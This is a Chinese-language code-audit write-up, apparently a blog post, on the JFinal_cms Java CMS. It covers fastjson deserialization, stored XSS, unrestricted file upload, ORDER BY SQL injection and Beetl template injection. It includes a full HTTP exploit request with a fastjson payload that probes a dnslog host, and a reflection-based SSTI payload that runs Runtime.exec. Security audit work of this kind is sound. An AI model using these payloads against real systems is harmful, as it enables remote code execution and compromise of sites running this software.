JAVA代码审计—JFinal_cms

该文章已生成可运行项目,

JAVA代码审计—JFinal_cms

一、环境搭建

1、源码下载

项目地址如下,可直接下载源码,也可以直接通过git直接加载到IDE中

https://github.com/jflyfox/jfinal_cms

https://gitee.com/jflyfox/jfinal_cms

2、环境部署

一般项目都会有一个部署的说明文档,比较详细,这里说几个细节:

1、项目使用jdk1.8,mysql用的是8版本。使用前需要在mysql中建立对应的数据库并导入对应的数据库文件。

2、项目使用maven部署(我这里用ecilpse)

要修改settings.xml中配置,更改maven下载的项目依赖的存放位置,并更改源,使用默认源下载速度很慢。

执行maven install后,会有一个报错提示一个插件API不兼容打包war包什么的一个错误,不影响,直接 maven build,要注意提前配置好tomcat和Mysql。

二、源码审计分析

1、架构分析

可以通过项目文档了解项目使用到的技术栈和各类依赖:

  1. web框架:JFinal
  2. 模板引擎:beetl
  3. 数据库:mysql
  4. 前端:bootstrap框架

项目中的pom.xml记录了项目需要的依赖及其版本信息等,审计源码前,可以看看项目的给类依赖是否为存在漏洞的版本,如果有可以针对某个依赖的当前版本存在的漏洞进行验证。

2、fastjson反序列化RCE

在pom.xml中可以看到fastjson使用的是1.2.62版本

在这里插入图片描述

这个版本存在RCE漏洞

在这里插入图片描述

fastjson利用细节可以参考:

https://www.cnblogs.com/tr1ple/p/12348886.html?utm_medium=referral

https://www.cnblogs.com/Raiden-xin/p/12681577.html

注意:fastjson相关API

String text = JSON.toJSONString(obj); //序列化
VO vo = JSON.parseObject("{...}", VO.class); //反序列化
VO vo = JSON.parseObject("{...}"); //反序列化
VO vo = JSON.parse(); //反序列化

可以搜索这些API找到对应的调用位置

全局搜索parseObject

在这里插入图片描述

发现多处调用

先来分析一下 src/main/java/com/jflyfox/api/from/ApiFrom.java这处调用

在这里插入图片描述

这处调用是在私有方法getParams中,传入的参数由P变量控制

在这里插入图片描述

在这里插入图片描述

搜索一下这个方法的调用关系

在这里插入图片描述

寻找public修饰的调用了getParams的方法,找到get方法有调用

在这里插入图片描述

但get仅在本类( ApiForm)中调用或利用反射的方式调用

在这里插入图片描述

全局搜索get调用发现 login 这个API方法有调用

在这里插入图片描述

寻找反射调用的地方,全局搜索 ApiForm ,发现了一处(ApiController.java中)调用了 ApiForm类对象(即其自解码文件 .class文件)

在这里插入图片描述

跟进getFrom调用情况,发现同类中action中调用了该方法,并且调用了ApiService类中的action方法

在这里插入图片描述

在这里插入图片描述

跟进,先校验登录状态然后再调用接口

在这里插入图片描述

确实是通过反射来调用API方法,查看一下项目的API文档,找到了login的接口使用方法

在这里插入图片描述

验证一下

在这里插入图片描述

在这里插入图片描述

确实会调用该方法,也就是说,可以以此调用到ApiFrom类的get方法

构造fastjson反序列化RCE的payload

POST /jfinal_cms/api/action/login?version=1.0.1&apiNo=1000000&time=20170314160401& HTTP/1.1
Host: 192.168.111.111
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=6B6E5982E9406B50893C648F39FC396E; Hm_lvt_1040d081eea13b44d84a4af639640d51=1696496171; Hm_lpvt_1040d081eea13b44d84a4af639640d51=1696496849
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

p={"@type":"java.net.Inet4Address","val":"dgm3af.dnslog.cn"}

在这里插入图片描述

成功

在这里插入图片描述

这里没有对应的利用链,不同fastjson版本可以参照 https://blog.csdn.net/qq_45449318/article/details/129202122

还有一处也可以利用fastjson反序列化RCE

在这里插入图片描述

在这里插入图片描述

这里是读取固定位置的json格式的配置文件,来完成利用的,可以利用系统后台的文件上传(后面会详细说明)来覆盖原有的json格式的配置文件

一路回朔,找到最开始调用的位置

在这里插入图片描述

最终找到

在这里插入图片描述

上传覆盖config.json文件后,访问 ueditor 接口:即可触发

config.json修改为payload内容即可:
{"@type":"java.net.Inet4Address","val":"qtxntc.dnslog.cn"}
3、多处存储型XSS

从白盒角度考虑首先从后台管理开始寻找脆弱点,因为一般的系统,后台总是比主页更加脆弱。关于admin的源码,可以定位到com.jflyfox.modules.admin包下

在其中的AdminController类中

在这里插入图片描述

其路由为/admin,默认页面调用了index方法,初次登陆,将会调用reader方法进行/pages/admin/login.html页面的渲染,如果是登录过了就直接跳到/admin/home

这里的reader方法也就是调用了com.jfinal.core.Controller抽象类下的render方法,使用配置的模板引擎进行渲染操作

在这里插入图片描述

对于该项目的模板引擎的配置可以定位到com.jflyfox.component.config.BaseConfig类中的configConstant方法

在这里插入图片描述

在这里插入图片描述

可以知道配置的是Beetl这个模板引擎进行渲染

Config类又是如何进行调用。

在这里插入图片描述

主要是因为这个方法是实现了JFinalConfig类的方法,而在com.jfinal.core.Config类中的configJFinal方法是存在JFinalConfig类的方法调用的(换句话说就是重写了JFinalConfig接口方法)

在这里插入图片描述

在这里插入图片描述

3.1 管理台用户邮箱存储型XSS

在用户管理后台,用户管理等页面会显示前台注册的用户的邮箱等信息,而邮箱是通过注册得到写入数据库中的,从注册写入到数据库中,在到管理台从数据库中取出这个过程中,cms仅做了前端限制,后端没有做任何的过滤导致存储型XSS。

搜索路由路径定位到注册功能位置,对应的ControllerRegistController

在这里插入图片描述

未登录时注册用户会使用beelt模板引擎对template/bbs/regist/show_regist.html文件进行渲染

在这里插入图片描述

这里存在有一个注册表单,点击注册,会触发onclick事件,调用oper_save方法,即调用了同目录下的show_regist.js文件中的方法

在这里插入图片描述

这里存在多个判断条件,限制了用户名长度,限制了邮箱格式,但是这里仅仅是前端进行验证,我们可以通过抓包进行修改绕过这些验证,直接插入payload

后端也有着一定的限制,定位到RegistController#save方法中

在这里插入图片描述

这里没有对邮箱做严格的测试,有“@”符号就行。而用户名和密码则做了长度限制,不太好利用了。

通过抓包修改email的值,形成存储型XSS ,当admin用户,进入后台管理的时候,将会在其首页中执行js代码

在这里插入图片描述

(实测,在写入数据库时,将邮箱作为username字段,会限制长度)

在这里插入图片描述

3.2 修改用户信息储存型XSS

前台用户注册后,可以进行用户信息更改。整个更新过程没有任何过滤,插入XSS代码即可构成存储型XSS

在这里插入图片描述

定位到后端代码就是com.jflyfox.modules.front.controller.PersonController类中,如果想要更改数据,根据show_person.js中的逻辑,主要是调用了PersonController#save方法进行信息的更新

在这里插入图片描述

在这里插入图片描述

在save方法中,并没有对用户的输入进行限制(就是邮箱必须有@符号),直接就调用了model.update方法进行更新

在这里插入图片描述

跟进update方法中
在这里插入图片描述

与数据库建立连接后,调用Db.update进行更新

在这里插入图片描述

继续跟进

在这里插入图片描述

至此也就成功将我们的输入存入了数据库中,形成了存储型XSS,因为这里是采用预编译的方式进行update操作,所以不存在sql注入的风险

在这些有用户信息回显的地方就会触发XSS,比如评论显示昵称,首页显示用户信息,管理后台等········

在这里插入图片描述

注意:管理后台也存在多处存储型XSS,这里不一一列举了。

4、文件上传

在管理后台的模板管理处,由于后端没有对上传的文件做限制,导致可以上传任意文件。但cms配置了默认不解析jsp文件,所以无法getshell只能作为存储型XSS。

定位到src/main/java/com/jflyfox/modules/filemanager/FileManagerController.java

在这里插入图片描述

文件上传是POST方法,直接跟到那

在这里插入图片描述

跟进到add方法,重点关注这几个if判断

在这里插入图片描述

在配置文件src\main\resources\conf\filemanager.properties下可以看到文件复写和上传文件大小设置是为0的(0代表的是没有限制),默认是可以上传其他文件(upload-imagesonly=false)。

在这里插入图片描述

最后,创建临时文件,后面会用到。作用是先将上传的文件以临时文件的存放着,然后把复制到上传目录下,重新命名删除临时文件。

可以看到整个过程是没有做限制的,也就导致可以上传任意文件。但无法直接访问jsp文件(不解析),可以上传svg、html、pdf等文件造成存储型XSS。

5、order by导致SQL注入

order by是用以排序,因为其子句内容是在查询执行时动态确定的(动态生成排序条件)。因此如果没有做好严格的过滤就会导致SQL注入。

全局搜索ordey by,发现多处调用

在这里插入图片描述

以admin/advicefeedback/AdvicefeedbackController.java中AdvicefeedbackController类为例

在这里插入图片描述

在list方法中order by默认是desc排序,跟进到getBaseForm,看下orderBy如何获取值

在这里插入图片描述

继续跟进

在这里插入图片描述

在这里插入图片描述

这里控制排序方式为即orderBy值由orderColumn决定

根据AdvicefeedbackController类绑定的路由可知,list方法为管理后台意见反馈功能模块处调用

在这里插入图片描述

抓包,修改参数。成功注入

在这里插入图片描述

6、SSTI模板注入漏洞

漏洞存在的位置在管理员后台模板修改下,可以修改模板代码,插入一段恶意代码可导致远程代码执行。

修改模板点击保存页面后,首先会进入到src\main\java\com\jflyfox\modules\filemanager\FileManagerController.java然后判断请求方法,这里是POST方法,然后会判断是upload还是saveFile,如果是saveFile方法会跳转到src\main\java\com\jflyfox\modules\filemanager\FileManager.java中的saveFile方法。

在这里插入图片描述

跟进到saveFile方法

在这里插入图片描述

一直到这一步,没有做任何的过滤。也就是说,插入任意代码,加载模板后,都会执行。

下面开始构造payload

查阅官方文档,了解这款模板引擎调用Java方法和属性模式。

在这里插入图片描述

由于beetl模板引擎禁止了java.lang.Runtimejava.lang.Process,所以这里不能直接调用进程来达到远程代码执行的效果。这里采用Java反射机制来达到效果,当然也有其他的方法,比例写文件等。

按照上面给出简单案例方法,我们应该这样子就可以了@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(newInstance(),"calc")

但是直接String.class直接写模板是找不到的,所以我们得继续构造payload,将String.class转化@java.lang.Class.forName("java.lang.String")的形式,然后payload就变成下面这样子了。@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(newInstance(),"calc")

照道理上面就可以直接使用了,但是呢Runtime类没有无参构造方法,因此不能使用newInstance()方法来实例化。只能通过调用getRuntime()方法来进行实例化。所以newInstance()得替换成@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null)最终payload就变成了下面这样子。

${@java.lang.Class.forName("java.lang.Runtime").getMethod("exec",@java.lang.Class.forName("java.lang.String")).invoke(@java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null),"calc")}

在这里插入图片描述

执行成功

在这里插入图片描述

本文章已经生成可运行项目
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值